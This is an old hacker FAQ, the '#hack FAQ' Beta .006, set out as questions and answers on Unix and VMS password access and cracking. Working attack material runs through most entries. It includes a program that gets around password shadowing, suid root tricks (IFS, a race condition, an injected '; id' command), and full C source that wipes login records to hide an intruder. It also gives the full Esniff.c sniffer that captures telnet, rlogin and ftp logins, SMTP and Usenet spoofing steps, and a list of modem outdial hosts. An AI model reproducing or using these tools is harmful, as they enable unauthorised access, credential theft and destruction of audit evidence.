Group 42 Sells Out!

Editors Note:
Welcome to another beta release of the #hack FAQ! This release was planned to be an incremental release after Beta .005. It is an incremental release, it just happens to contain ~30k of new information!

We may be ready to leave Beta soon. Several things must be fixed first. Look for 1.0 to appear in August or September.

Many sections are missing or incomplete. The #hack FAQ comes with no warranties, express or implied.

If your copy of the #hack FAQ does not end with the letters EOT on a line by themselves, you do not have the entire FAQ.

** BETA **

#Hack F.A.Q.

by Voyager, will@gnu.ai.mit.edu

With special thanks to: A-Flat, Al, Aleph1, Bluesman, C-Curve, Edison, KCrow, Major, Presence, Rogue Agent, sbin and TheSaint.

Converted to HTML:

pannier@cs.tu-berlin.de

Beta Revision .006

Section A: Computers
Section B: Telephony
Section C: Resources
Section D: Miscellaneous
U == Updated since last release of the #hack FAQ
A == Added since last release of the #hack FAQ

Section A: Computers

01. How do I access the password file under Unix?

In standard Unix the password file is /etc/passwd. On a Unix system with either NIS/yp or password shadowing, much of the password data may be elsewhere.

02. How do I crack Unix passwords?

Contrary to popular belief, Unix passwords cannot be decrypted. Unix passwords are encrypted with a one way function. The login program encrypts the text you enter at the "password:" prompt and compares that encrypted string against the encrypted form of your password.

Password cracking software uses wordlists. Each word in the wordlist is encrypted with each of the 4096 possible salt values and the results are compared to the encrypted form of the target password.

The best cracking program for Unix passwords is currently Crack by Alec Muffett. For PC-DOS, the best package to use is currently CrackerJack.

03. How do I access the password file under VMS?

Under VMS, the password file is SYS$SYSTEM:SYSUAF.DAT. However, unlike Unix, most users do not have access to read the password file.

04. How do I crack VMS passwords?

Write a program that uses the SYS$GETUAF functions to compare the results of encrypted words against the encrypted data in SYSUAF.DAT.

Two such programs are known to exist, CHECK_PASSWORD and GUESS_PASSWORD.

05. What is NIS/yp?

NIS (Network Information System) in the current name for what was once known as yp (Yellow Pages). The purpose for NIS is to allow many machies on a network to share configuration information, including password data. NIS is not designed to promote system security. If your system uses NIS you will have a very short /etc/passwd file with a line that looks like this:

+::0:0:::

To view the real password file use this command "ypcat passwd"

06. What is password shadowing?

Password shadowing is a security system where the encrypted password field of /etc/password is replaced with a special token and the encrypted password is stored in a seperate file which is not readable by normal system users.

To defeat password shadowing on many (but not all) systems, write a program that uses successive calls to getpwent() to obtain the password file.

Example:

 #include <pwd.h>
main()
{
struct passwd *p;
while(p=getpwent())
printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,
p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
}
 

07. How do I break out of a restricted shell?

On poorly implemented restricted shells you can break out of the restricted environment by running a program that features a shell function. A good example is vi. Run vi and use this command: :set shell=/bin/sh
then shell using this command:
:shell

08. How do I gain root from a suid script or program?

  1. Change IFS.

    If the program calls any other programs using the system() function call, you may be able to fool it by changing IFS. IFS is the Internal Field Seperator that the shell uses to delimit arguments.

    If the program contains a line that looks like this: system("/bin/date") and you change IFS to '/' the shell will them interpret the proceeding line as: bin date Now, if you have a program of your own in the path called "bin" the suid program will run your program instead of /bin/date.

    To change IFS, use this command: set IFS '/'

  2. link the script to -i

    Create a symbolic link named "-i" to the program. Running "-i" will cause the interpreter shell (/bin/sh) to start up in interactive mode. This only works on suid shell scripts.

    Example:

     % ln suid.sh -i
    % -i
    #
     
  3. Exploit a race condition

    Replace a symbolic link to the program with another program while the kernel is loading /bin/sh.

    Example: nice -19 suidprog ; ln -s evilprog suidroot

  4. Send bad input the the program. Invoke the name of the program and a seperate command on the same command line.

    Example:

    suidprog ; id

09. How do I erase my presence from the system logs?

Edit /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. These are not text files that can be edited by hand with vi, you must use a program specifically written for this purpose.

Example:

 #include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
 
int f;
 
void kill_utmp(who)
char *who;
{
    struct utmp utmp_ent;
 
  if ((f=open(UTMP_NAME,O_RDWR))>=0) {
     while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
       if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
                 bzero((char *)&utmp_ent,sizeof( utmp_ent ));
                 lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
                 write (f, &utmp_ent, sizeof (utmp_ent));
            }
     close(f);
  }
}
 
void kill_wtmp(who)
char *who;
{
    struct utmp utmp_ent;
    long pos;
 
    pos = 1L;
    if ((f=open(WTMP_NAME,O_RDWR))>=0) {
 
     while(pos != -1L) {
        lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
        if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
          pos = -1L;
        } else {
          if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
               bzero((char *)&utmp_ent,sizeof(struct utmp ));
               lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
               write (f, &utmp_ent, sizeof (utmp_ent));
               pos = -1L;
          } else pos += 1L;
        }
     }
     close(f);
  }
}
 
void kill_lastlog(who)
char *who;
{
    struct passwd *pwd;
    struct lastlog newll;
 
     if ((pwd=getpwnam(who))!=NULL) {
 
        if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
            lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
            bzero((char *)&newll,sizeof( newll ));
            write(f, (char *)&newll, sizeof( newll ));
            close(f);
        }
 
    } else printf("%s: ?\n",who);
}
 
main(argc,argv)
int argc;
char *argv[];
{
    if (argc==2) {
        kill_lastlog(argv[1]);
        kill_wtmp(argv[1]);
        kill_utmp(argv[1]);
        printf("Zap2!\n");
    } else
    printf("Error.\n");
}
 

10. How do I send fakemail?

Telnet to port 25 of the machine you want the mail to appear to originate from. Enter your message as in this example:
 HELO bellcore.com
 MAIL FROM:Voyagor@bellcore.com
 RCPT TO:clinton@whitehouse.gov
 DATA
 
	Please discontinue your silly Clipper initiative.
 .
 QUIT
 
On systems that have RFC 931 implemented, spoofing your "MAIL FROM:" line will not work. Test by sending yourself fakemail first.

11. How do I fake posts to UseNet?

Use inews to post. Give inews the following lines:
~From:
~Newsgroups:
~Subject:
Message-ID:
~Date:
Organization:
 
For a moderated newsgroup, inews will also require this line:

Approved:

Then add your post and terminate with <Control-D>.

Example:

~From: Dale Drew
~Newsgroups: alt.2600
~Subject: Please forgive me
Message-ID: <d_drew.123@tymnet.com>
~Date: Fri, 13 Jun 1994 12:15:03
Organization: Tymnet Insecurity
 
Please forgive me for being such a worthless puke all of these years.
 
                                                Sincerely,
 
                                                        Bartman
^D 
 

12. How do I hack ChanOp on IRC?

Find a server that is split from the rest of IRC and create your own channel there using the name of the channel you want ChanOp on. When that server reconnects to the net, you will have ChanOp on the real channel. If you have ServerOp on a server, you can cause it to split on purpose.

13. How do I modify the IRC client to hide my real username?

Get the IRC client from cs.bu.edu /irc/clients. Look at the source code files irc.c and ctcp.c. The code you are looking for is fairly easy to spot. Change it. Change the username code in irc.c and the ctcp information code in ctcp.c. Compile and run your client.

Here are the diffs from a sample hack of the IRC client. Your client code will vary slighty depending on what IRC client version you are running.

 *** ctcp.c.old  Wed Feb 10 10:08:05 1993
--- ctcp.c	Fri Feb 12 04:33:55 1993
***************
*** 331,337 ****
  	struct	passwd	*pwd;
  	long	diff;
  	int	uid;
! 	char	c;
  
  	/*
  	 * sojge complained that ircII says 'idle 1 seconds'
--- 331,337 ----
  	struct	passwd	*pwd;
  	long	diff;
  	int	uid;
! 	char	c, *fing;
  
  	/*
  	 * sojge complained that ircII says 'idle 1 seconds'
***************
*** 348,354 ****
  	if (uid != DAEMON_UID)
  	{
  #endif /* DAEMON_UID */	
! 		if (pwd = getpwuid(uid))
  		{
  			char	*tmp;
  
--- 348,356 ----
  	if (uid != DAEMON_UID)
  	{
  #endif /* DAEMON_UID */	
! 		if (fing = getenv("IRCFINGER"))
! 			send_ctcp_reply(from, ctcp->name, fing, diff, c);
! 		else if (pwd = getpwuid(uid))
  		{
  			char	*tmp;
  
*** irc.c.old	Wed Feb 10 06:33:11 1993
--- irc.c	Fri Feb 12 04:02:11 1993
***************
*** 510,516 ****
  		malloc_strcpy(&my_path, "/");
  	if (*realname == null(char))
  		strmcpy(realname, "*Unknown*", REALNAME_LEN);
! 	if (*username == null(char))
  	{
  		if (ptr = getenv("USER"))
  			strmcpy(username, ptr, NAME_LEN);
--- 510,518 ----
  		malloc_strcpy(&my_path, "/");
  	if (*realname == null(char))
  		strmcpy(realname, "*Unknown*", REALNAME_LEN);
! 	if (ptr = getenv("IRCUSER"))
! 		strmcpy(username, ptr, NAME_LEN);
! 	else if (*username == null(char))
  	{
  		if (ptr = getenv("USER"))
  			strmcpy(username, ptr, NAME_LEN);
  

14. What is a trojan/worm/virus/logic bomb?

This FAQ answer is excerpted from: Computer Security Basics
                                   by Deborah Russell
                                   and G.T. Gengemi Sr.
Trojan:
An independent program that appears to perform a useful function but that hides another unauthorized program inside it. When an authorized user performs the apparrent function, the trojan horse performs the unauthorized function as well (often usurping the priveleges of the user).
Virus:
A code fragment (not an independent program) that reproduces by attaching to another program. It may damage data directly, or it may degrade system performance by taking over system resources which are then not available to authorized users.
Worm:
An independent program that reproduces by copying itself from one system to another, usually over a network. Like a virus, a worm may damage data directly, or it may degrade system performace by tying up system resources and even shutting down a network.
Logic Bomb:
A method for releasing a system attack of some kind. It is triggered when a particular condition (e.g., a certain date or system operation) occurs.

15. How can I protect myself from virii and such?

Always write protect your floppy disks when you are not purposefully writing to them.

Use ATTRIB to make all of your EXE and COM files read only. This will protect you from many poorly written viruses.

Scan any software that you receive with a recent copy of a good virus scanner. The best virus scanner currently available for DOS is F-Prot by Fridrik Skulason. The current version is FP-212C. It is best to use more than one virus scanner. That will decrease your chances of missing a virus.

Backup regularly, and keep several generations of backups on hand. If you always backup over your last backup, you may find yourself with an infected backup tape.

16. What is Cryptoxxxxxxx?

 This FAQ answer is excerpted from: Computer Security Basics
                                   by Deborah Russell
                                   and G.T. Gengemi Sr.
A message is called either plaintext or cleartext. The process of disguising a message in such a way as to hide its substance is called encryption. An encrypted message is called ciphertext. The process of turning ciphertext back into plaintext is called decryption.

The art and science of keeping messages secure is called cryptography, and it is practiced by cryptographers. Cryptanalysts are practitioners of cryptanalysis, the art and science of breaking ciphertext, i.e. seeing through the disguise. The branch of mathematics embodying both cryptography and cryptanalysis is called cryptology, and it's practitioners are called cryptologists.

17. What is PGP?

This FAQ answer is excerpted from: PGP(tm) User's Guide
                                   Volume I: Essential Topics
                                   by Philip Zimmermann
 
PGP(tm) uses public-key encryption to protect E-mail and data files. Communicate securely with people you've never met, with no secure channels needed for prior exchange of keys. PGP is well featured and fast, with sophisticated key management, digital signatures, data compression, and good ergonomic design.

Pretty Good(tm) Privacy (PGP), from Phil's Pretty Good Software, is a high security cryptographic software application for MSDOS, Unix, VAX/VMS, and other computers. PGP allows people to exchange files or messages with privacy, authentication, and convenience. Privacy means that only those intended to receive a message can read it. Authentication means that messages that appear to be from a particular person can only have originated from that person. Convenience means that privacy and authentication are provided without the hassles of managing keys associated with conventional cryptographic software. No secure channels are needed to exchange keys between users, which makes PGP much easier to use. This is because PGP is based on a powerful new technology called "public key" cryptography.

PGP combines the convenience of the Rivest-Shamir-Adleman (RSA) public key cryptosystem with the speed of conventional cryptography, message digests for digital signatures, data compression before encryption, good ergonomic design, and sophisticated key management. And PGP performs the public-key functions faster than most other software implementations. PGP is public key cryptography for the masses.

18. What is Tempest?

Computers and other electonic equipment release interference to their surrounding environment. You may observe this by placing two video monitors close together. The pictures will behave erratically until you space them apart.

Although most of the time these emissions are simply annoyances, they can sometimes be very helpful. Suppose we wanted to see what project a target was working on. We could sit in a van outside her office and use sensitive electonic equipment to attempt to pick up and decipher the emanations from her video monitor.

Our competetor, however, could shield the emanations from her equipment or use equipment without strong emanations.

Tempest is the US Government program for evaluation and endorsement of electronic equipment that is safe from eavesdropping.

19. How to I change to directores with strange characters in them?

These directories are often used by people trying to hide information, most often warez (commercial software).

To change into these directories, you must determine what the special characters are. Often an ASCII chart will help. Another useful tool is the "dir *" command, which will show you the total length of the directory name.

On an IBM-PC, you may enter these special characters by holding down the <ALT> key and entering the decimal value of the special character on your numeric keypad. When you release the <ALT> key, the special character should appear on your screen.

If the directory name includes a <SPACE> or a <TAB> you will need to enclose the entire directory name in quotes. Example:

cd "..<TAB>"

N 20. What is ethernet sniffing?

Ethernet sniffing is listening (with software) to the raw ethernet device for packets that interest you. When your software sees a packet that fits certain criteria, it logs it to a file. The most common criteria for an interesting packet is one that contains words like "login" or "password."

Many enternet sniffers are available, here are a few that may be on your system now:

 OS              Sniffer
~~              ~~~~~~~
HP/UX           nettl (monitor) & netfmt (display)
SunOS           etherfind
Solaris         snoop
DOS             ETHLOAD
                LanWatch
                The Gobbler
                Netmon
                LanPatrol
                Netwatch
Here is source code for an ethernet sniffer:
 /* Esniff.c */
 
#include <stdio.h>
#include <ctype.h>
#include <string.h>
 
#include <sys/time.h>
#include <sys/file.h>
#include <sys/stropts.h>
#include <sys/signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
 
#include <net/if.h>
#include <net/nit_if.h>
#include <net/nit_buf.h>
#include <net/if_arp.h>
 
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netinet/ip_var.h>
#include <netinet/udp_var.h>
#include <netinet/in_systm.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>
 
#include <netdb.h>
#include <arpa/inet.h>
 
#define ERR stderr
 
char    *malloc();
char    *device,
        *ProgName,
        *LogName;
FILE    *LOG;
int     debug=0;
 
#define NIT_DEV     "/dev/nit"
#define CHUNKSIZE   4096        /* device buffer size */
int     if_fd = -1;
int     Packet[CHUNKSIZE+32];
 
void Pexit(err,msg)
int err; char *msg;
{ perror(msg);
  exit(err); }
 
void Zexit(err,msg)
int err; char *msg;
{ fprintf(ERR,msg);
  exit(err); }
 
#define IP          ((struct ip *)Packet)
#define IP_OFFSET   (0x1FFF)
#define SZETH       (sizeof(struct ether_header))
#define IPLEN       (ntohs(ip->ip_len))
#define IPHLEN      (ip->ip_hl)
#define TCPOFF      (tcph->th_off)
#define IPS         (ip->ip_src)
#define IPD         (ip->ip_dst)
#define TCPS        (tcph->th_sport)
#define TCPD        (tcph->th_dport)
#define IPeq(s,t)   ((s).s_addr == (t).s_addr)
 
#define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))
 
#define MAXBUFLEN  (128)
time_t  LastTIME = 0;
 
struct CREC {
     struct CREC *Next,
                 *Last;
     time_t  Time;              /* start time */
     struct in_addr SRCip,
                    DSTip;
     u_int   SRCport,           /* src/dst ports */
             DSTport;
     u_char  Data[MAXBUFLEN+2]; /* important stuff :-) */
     u_int   Length;            /* current data length */
     u_int   PKcnt;             /* # pkts */
     u_long  LASTseq;
};
 
struct CREC *CLroot = NULL;
 
char *Symaddr(ip)
register struct in_addr ip;
{ register struct hostent *he =
      gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);
 
  return( (he)?(he->h_name):(inet_ntoa(ip)) );
}
 
char *TCPflags(flgs)
register u_char flgs;
{ static char iobuf[8];
#define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')
 
  SFL(0,TH_FIN, 'F');
  SFL(1,TH_SYN, 'S');
  SFL(2,TH_RST, 'R');
  SFL(3,TH_PUSH,'P');
  SFL(4,TH_ACK, 'A');
  SFL(5,TH_URG, 'U');
  iobuf[6]=0;
  return(iobuf);
}
 
char *SERVp(port)
register u_int port;
{ static char buf[10];
  register char *p;
 
   switch(port) {
     case IPPORT_LOGINSERVER: p="rlogin"; break;
     case IPPORT_TELNET:      p="telnet"; break;
     case IPPORT_SMTP:        p="smtp"; break;
     case IPPORT_FTP:         p="ftp"; break;
     default: sprintf(buf,"%u",port); p=buf; break;
   }
   return(p);
}
 
char *Ptm(t)
register time_t *t;
{ register char *p = ctime(t);
  p[strlen(p)-6]=0; /* strip " YYYY\n" */
  return(p);
}
 
char *NOWtm()
{ time_t tm;
  time(&tm);
  return( Ptm(&tm) );
}
 
#define MAX(a,b) (((a)>(b))?(a):(b))
#define MIN(a,b) (((a)<(b))?(a):(b))
 
/* add an item */
#define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \
  register struct CREC *CLtmp = \
        (struct CREC *)malloc(sizeof(struct CREC)); \
  time( &(CLtmp->Time) ); \
  CLtmp->SRCip.s_addr = SIP.s_addr; \
  CLtmp->DSTip.s_addr = DIP.s_addr; \
  CLtmp->SRCport = SPORT; \
  CLtmp->DSTport = DPORT; \
  CLtmp->Length = MIN(LEN,MAXBUFLEN); \
  bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \
  CLtmp->PKcnt = 1; \
  CLtmp->Next = CLroot; \
  CLtmp->Last = NULL; \
  CLroot = CLtmp; \
}
 
register struct CREC *GET_NODE(Sip,SP,Dip,DP)
register struct in_addr Sip,Dip;
register u_int SP,DP;
{ register struct CREC *CLr = CLroot;
 
  while(CLr != NULL) {
    if( (CLr->SRCport == SP) && (CLr->DSTport == DP) &&
        IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )
            break;
    CLr = CLr->Next;
  }
  return(CLr);
}
 
#define ADDDATA_NODE(CL,DATA,LEN) { \
 bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \
 CL->Length += LEN; \
}
 
#define PR_DATA(dp,ln) {    \
  register u_char lastc=0; \
  while(ln-- >0) { \
     if(*dp < 32) {  \
        switch(*dp) { \
            case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \
                        break; \
            case '\r': \
            case '\n': fprintf(LOG,"\n     : "); \
                        break; \
            default  : fprintf(LOG,"^%c", (*dp + 64)); \
                        break; \
        } \
     } else { \
        if(isprint(*dp)) fputc(*dp,LOG); \
        else fprintf(LOG,"(%d)",*dp); \
     } \
     lastc = *dp++; \
  } \
  fflush(LOG); \
}
 
void END_NODE(CLe,d,dl,msg)
register struct CREC *CLe;
register u_char *d;
register int dl;
register char *msg;
{
   fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time));
   fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport));
   fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport));
   fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",
                        NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);
   fprintf(LOG," DATA: ");
    { register u_int i = CLe->Length;
      register u_char *p = CLe->Data;
      PR_DATA(p,i);
      PR_DATA(d,dl);
    }
 
   fprintf(LOG,"\n-- \n");
   fflush(LOG);
 
   if(CLe->Next != NULL)
    CLe->Next->Last = CLe->Last;
   if(CLe->Last != NULL)
    CLe->Last->Next = CLe->Next;
   else
    CLroot = CLe->Next;
   free(CLe);
}
 
/* 30 mins (x 60 seconds) */
#define IDLE_TIMEOUT 1800
#define IDLE_NODE() { \
  time_t tm; \
  time(&tm); \
  if(LastTIME<tm) { \
     register struct CREC *CLe,*CLt = CLroot; \
     LastTIME=(tm+IDLE_TIMEOUT); tm-=IDLE_TIMEOUT; \
     while(CLe=CLt) { \
       CLt=CLe->Next; \
       if(CLe->Time <tm) \
           END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \
     } \
  } \
}
 
void filter(cp, pktlen)
register char *cp;
register u_int pktlen;
{
 register struct ip     *ip;
 register struct tcphdr *tcph;
 
 { register u_short EtherType=ntohs(((struct ether_header *)cp)->ether_type);
 
   if(EtherType < 0x600) {
     EtherType = *(u_short *)(cp + SZETH + 6);
     cp+=8; pktlen-=8;
   }
 
   if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */
      return;
 }
 
    /* ugh, gotta do an alignment :-( */
 bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH));
 
 ip = (struct ip *)Packet;
 if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */
    return;
 tcph = (struct tcphdr *)(Packet + IPHLEN);
 
 if(!( (TCPD == IPPORT_TELNET) ||
       (TCPD == IPPORT_LOGINSERVER) ||
       (TCPD == IPPORT_FTP)
   )) return;
 
 { register struct CREC *CLm;
   register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4));
   register u_char *p = (u_char *)Packet;
 
   p += ((IPHLEN * 4) + (TCPOFF * 4));
 
 if(debug) {
  fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);
  fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));
  fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));
 }
 
   if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {
 
      CLm->PKcnt++;
 
      if(length>0)
        if( (CLm->Length + length) < MAXBUFLEN ) {
          ADDDATA_NODE( CLm, p,length);
        } else {
          END_NODE( CLm, p,length, "DATA LIMIT");
        }
 
      if(TCPFL(TH_FIN|TH_RST)) {
          END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" );
      }
 
   } else {
 
      if(TCPFL(TH_SYN)) {
         ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);
      }
 
   }
 
   IDLE_NODE();
 
 }
 
}
 
/* signal handler
 */
void death()
{ register struct CREC *CLe;
 
    while(CLe=CLroot)
        END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");
 
    fprintf(LOG,"\nLog ended at => %s\n",NOWtm());
    fflush(LOG);
    if(LOG != stdout)
        fclose(LOG);
    exit(1);
}
 
/* opens network interface, performs ioctls and reads from it,
 * passing data to filter function
 */
void do_it()
{
    int cc;
    char *buf;
    u_short sp_ts_len;
 
    if(!(buf=malloc(CHUNKSIZE)))
        Pexit(1,"Eth: malloc");
 
/* this /dev/nit initialization code pinched from etherfind */
  {
    struct strioctl si;
    struct ifreq    ifr;
    struct timeval  timeout;
    u_int  chunksize = CHUNKSIZE;
    u_long if_flags  = NI_PROMISC;
 
    if((if_fd = open(NIT_DEV, O_RDONLY)) < 0)
        Pexit(1,"Eth: nit open");
 
    if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0)
        Pexit(1,"Eth: ioctl (I_SRDOPT)");
 
    si.ic_timout = INFTIM;
 
    if(ioctl(if_fd, I_PUSH, "nbuf") < 0)
        Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")");
 
    timeout.tv_sec = 1;
    timeout.tv_usec = 0;
    si.ic_cmd = NIOCSTIME;
    si.ic_len = sizeof(timeout);
    si.ic_dp  = (char *)&timeout;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");
 
    si.ic_cmd = NIOCSCHUNK;
    si.ic_len = sizeof(chunksize);
    si.ic_dp  = (char *)&chunksize;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)");
 
    strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
    ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0';
    si.ic_cmd = NIOCBIND;
    si.ic_len = sizeof(ifr);
    si.ic_dp  = (char *)&ifr;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)");
 
    si.ic_cmd = NIOCSFLAGS;
    si.ic_len = sizeof(if_flags);
    si.ic_dp  = (char *)&if_flags;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)");
 
    if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0)
        Pexit(1,"Eth: ioctl (I_FLUSH)");
  }
 
    while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) {
        register char *bp = buf,
                      *bufstop = (buf + cc);
 
        while (bp < bufstop) {
            register char *cp = bp;
            register struct nit_bufhdr *hdrp;
 
            hdrp = (struct nit_bufhdr *)cp;
            cp += sizeof(struct nit_bufhdr);
            bp += hdrp->nhb_totlen;
            filter(cp, (u_long)hdrp->nhb_msglen);
        }
    }
    Pexit((-1),"Eth: read");
}
 /* Authorize your proogie,generate your own password and uncomment here */
/* #define AUTHPASSWD "EloiZgZejWyms" */
 
void getauth()
{ char *buf,*getpass(),*crypt();
  char pwd[21],prmpt[81];
 
    strcpy(pwd,AUTHPASSWD);
    sprintf(prmpt,"(%s)UP? ",ProgName);
    buf=getpass(prmpt);
    if(strcmp(pwd,crypt(buf,pwd)))
        exit(1);
}
    */
void main(argc, argv)
int argc;
char **argv;
{
    char   cbuf[BUFSIZ];
    struct ifconf ifc;
    int    s,
           ac=1,
           backg=0;
 
    ProgName=argv[0];
 
 /*     getauth(); */
 
    LOG=NULL;
    device=NULL;
    while((ac<argc) && (argv[ac][0] == '-')) {
       register char ch = argv[ac++][1];
       switch(toupper(ch)) {
            case 'I': device=argv[ac++];
                      break;
            case 'F': if(!(LOG=fopen((LogName=argv[ac++]),"a")))
                         Zexit(1,"Output file cant be opened\n");
                      break;
            case 'B': backg=1;
                      break;
            case 'D': debug=1;
                      break;
            default : fprintf(ERR,
                        "Usage: %s [-b] [-d] [-i interface] [-f file]\n",
                            ProgName);
                      exit(1);
       }
    }
 
    if(!device) {
        if((s=socket(AF_INET, SOCK_DGRAM, 0)) < 0)
            Pexit(1,"Eth: socket");
 
        ifc.ifc_len = sizeof(cbuf);
        ifc.ifc_buf = cbuf;
        if(ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0)
            Pexit(1,"Eth: ioctl");
 
        close(s);
        device = ifc.ifc_req->ifr_name;
    }
 
    fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV);
    fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout",
            (debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");
 
    if(!LOG)
        LOG=stdout;
 
    signal(SIGINT, death);
    signal(SIGTERM,death);
    signal(SIGKILL,death);
    signal(SIGQUIT,death);
 
    if(backg && debug) {
         fprintf(ERR,"[Cannot bg with debug on]\n");
         backg=0;
    }
 
    if(backg) {
        register int s;
 
        if((s=fork())>0) {
           fprintf(ERR,"[pid %d]\n",s);
           exit(0);
        } else if(s<0)
           Pexit(1,"fork");
 
        if( (s=open("/dev/tty",O_RDWR))>0 ) {
                ioctl(s,TIOCNOTTY,(char *)NULL);
                close(s);
        }
    }
    fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid());
    fflush(LOG);
 
    do_it();
}

21. What is an Internet Outdial?

An Internet outdial is a modem connected to the Internet than you can use to dial out. Normal outdials will only call local numbers. A GOD (Global OutDial) is capable of calling long distance. Outdials are an inexpensive method of calling long distance BBS's.

22. What are some Internet Outdials?

This FAQ answer is excerpted from: BlackAdders FTP/FSP Site List.
  Area    Address(s)                      Command(s)
------  ------------------------------- ---------------------
201     128.112.88.0
	128.112.88.1
	128.112.88.2
	128.112.88.3
204     umnet.cc.manitoba.ca            "dial12" or "dial24"
206     dialout24.cac.washington.edu
215     wiseowl.ocis.temple.edu         atz
					atdt 9xxxyyyy
	129.72.1.59                     hayes compat
218     aa28.d.umn.edu                  cli
					rlogin modem
					at "login:" type 
					"modem"
	modem.d.umn.edu                 "Hayes"
232     isn.rdns.iastate.edu            MODEM              [Works!!]
					atz 
					atdt8xxx-xxxx
303     129.82.100.64                   login: modem       [need password!]
307     modem.uwyo.edu
	129.72.1.59                     hayes compat
313     35.1.1.6                        "dial2400-aa" or   [can't connect]
					"dial1200-aa"
404     emory.edu                       .modem8 or
					.dialout
	broadband.cc.emory.edu          .modem8 or
					.dialout
	128.140.1.239                   .modem8|CR
					or .modem96|CR
412     gate.cis.pitt.edu               LAT
					connect dialout
					^E
					atdt 91k xxx-xxxx
415     128.32.132.250                  "dial1" or "dial2"
416     pacx.utcs.utoronto.ca           modem
					atdt 9xxx-xxxx
	annex132.berkely.edu            atdt 9,,,,, xxx-xxxx
502     uknet.uky.edu                   outdial2400
					atdt 9xxx-xxxx
514     132.204.2.11                    externe#9 9xxx-xxxx
515     isn.rdns.iastate.edu            login MODEM 
					dial atdt8xxx-yyyy
602     129.219.17.3                    atdt8,,,,,xyyyxxxyyyy
	129.219.17.3                    login: MODEM
					atdt 8xxx-xxxx
609     129.72.1.59                     "Hayes"
	128.119.131.110                 "Hayes"
	128.119.131.111         
	128.119.131.112
	128.119.131.113
	128.119.131.114
	128.112.131.110
	128.112.131.111
	128.112.131.112
	128.112.131.113
	128.112.131.114                 the above are hayes
614     ns2400.ircc.ohio-state.edu      DIAL               [can't connect]
615     dca.utk.edu                     "dial2400"
617     dialout.lcs.mit.edu
619     dialin.ucsd.edu                 "dialout"
	128.54.30.1                     nue
713     128.143.70.101                  "connect hayes"
	128.249.27.154                  c modem96
					atdt 9xxx-xxxx
	128.249.27.153                  " -+ as above +- "
	modem24.bcm.tmc.edu
	modem12.bcm.tmc.edu
714     130.191.4.70                    atdt 8xxx-xxxx
804     ublan.acc.virginia.edu          c hayes
	128.143.70.101                  connect hayes
					atdt xxx-xxxx
902     star.ccs.tuns.ca                "dialout"          [down...]
916     128.120.2.251                   "dialout"          [down...]
        129.137.33.72                                      [can't connect]
???     dialout1.princeton.edu                             [can't connect]
        dswitch.byu.edu                 "C Modem"          [can't connect]
        modem.cis.uflu.edu                                 [can't connect]
